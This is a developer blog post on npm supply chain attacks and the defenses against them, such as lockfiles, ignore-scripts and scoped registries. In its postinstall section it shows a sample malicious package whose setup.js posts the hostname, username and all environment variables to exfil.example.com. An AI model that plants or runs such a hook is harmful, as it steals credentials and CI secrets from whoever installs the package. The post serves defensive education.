When Your Dependencies Ship More Than You Bargained For
A practical look at supply chain attacks through npm packages and what you can actually do about it
You run npm install, grab a coffee, and come back to a working project. Somewhere in that node_modules folder sit 1,200 packages you've never read a single line of. And that's the problem.
Supply chain attacks through package managers aren't theoretical anymore. They're routine. Every few months another story drops: a popular package gets hijacked, a typosquatted name sneaks into production, or a maintainer goes rogue. The attack surface is enormous and we've collectively agreed to just… not think about it most of the time.
Let's think about it.
How It Actually Happens
The mechanics are surprisingly simple. Here are the most common vectors:
Typosquatting — publishing lodsah hoping someone fat-fingers lodash. It works more often than you'd expect.
Maintainer account takeover — compromise one npm account and you can push a new version of a legitimate package. Every downstream consumer pulls it automatically if they're using loose version ranges.
Dependency confusion — if a company uses private packages with names that don't exist on the public registry, an attacker publishes a package with that exact name publicly. Many build systems will prefer the public version.
Post-install scripts — the postinstall hook in package.json runs arbitrary code the moment a package is installed. Not when you import it. When you install it.
That last one is worth pausing on. Here's what a malicious package.json might look like:
{
"name": "totally-legit-utils",
"version": "1.0.0",
"scripts": {
"postinstall": "node setup.js"
}
}And setup.js:
const { execSync } = require('child_process');
const os = require('os');
const data = {
hostname: os.hostname(),
user: os.userInfo().username,
env: process.env
};
execSync(`curl -X POST -d '${JSON.stringify(data)}' https://exfil.example.com/collect`);That's it. Your hostname, username, and every environment variable (which often includes API keys, tokens, CI secrets) shipped off to a remote server. And you never even imported the package in your code — just installed it.
What Makes This Hard
The JavaScript ecosystem has a deep dependency tree problem. You install one package and get fifty transitive dependencies. You might vet the top-level package, but did you check what it depends on?
# Count your actual dependency tree
ls node_modules | wc -lRun that on a typical React project. The number will be uncomfortable.
The other structural issue: npm defaults to accepting patch and minor updates. A ^1.0.0 range in your package.json means "give me anything from 1.0.0 up to (but not including) 2.0.0." If version 1.0.1 is the one that's compromised, you'll pull it in automatically next time you install.
What Actually Helps
Okay, so the situation is grim. But there are practical steps that meaningfully reduce risk without grinding your workflow to a halt.
Lock your dependencies and commit the lockfile. This is table stakes. package-lock.json or yarn.lock ensures that everyone on the team (and CI) installs the exact same versions. No surprise updates.
# Use ci instead of install in CI/CD pipelines
npm cinpm ci installs exactly what's in the lockfile. No modifications, no surprises. If the lockfile is out of sync with package.json, it fails instead of silently "fixing" things.
Disable postinstall scripts for untrusted packages. You can do this globally or per-install:
npm install --ignore-scriptsOr configure it in .npmrc:
ignore-scripts=trueThe trade-off: some legitimate packages use postinstall to compile native bindings or run setup. You'll need to run those manually. It's worth it.
Pin exact versions for critical dependencies. Instead of ^1.2.3, use 1.2.3. You lose automatic patches but gain predictability. Update deliberately, not automatically.
{
"dependencies": {
"express": "4.21.2",
"pg": "8.13.1"
}
}Audit regularly and actually read the output.
npm auditMost teams run this in CI and promptly ignore the results because there are 47 findings and 40 of them are in dev dependencies for prototype pollution in a test util that never touches production. Fair. But skim it. The signal-to-noise ratio is bad, but the signal matters.
Use a scoped registry for internal packages. This is the fix for dependency confusion attacks. If your internal packages live under @yourcompany/package-name, an attacker can't squat that scope on the public registry without owning the org.
{
"dependencies": {
"@yourcompany/auth": "2.1.0",
"@yourcompany/logging": "1.4.0"
}
}Tools Worth Knowing About
Socket.dev analyzes packages for suspicious behavior — things like network calls in postinstall, obfuscated code, or sudden maintainer changes. It catches stuff that npm audit (which only checks known CVEs) misses entirely.
Snyk and GitHub's Dependabot automate vulnerability scanning and can open PRs to bump compromised versions. Not a silver bullet, but useful as part of a pipeline.
Lockfile-lint verifies that your lockfile hasn't been tampered with and that all packages resolve to the registry you expect:
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-httpsThe Uncomfortable Truth
No tool catches everything. The ecosystem is built on trust, and trust doesn't scale. When you npm install, you're running code written by strangers on your machine with your permissions. That's just the reality.
The practical middle ground: be intentional about what you add. Before reaching for a package, ask whether you actually need it. A left-pad situation isn't just a joke about the fragility of npm — it's a reminder that every dependency is an attack surface.
// Do you really need a package for this?
const leftPad = (str, len, ch = ' ') => str.padStart(len, ch);Sometimes the best dependency is the one you didn't install.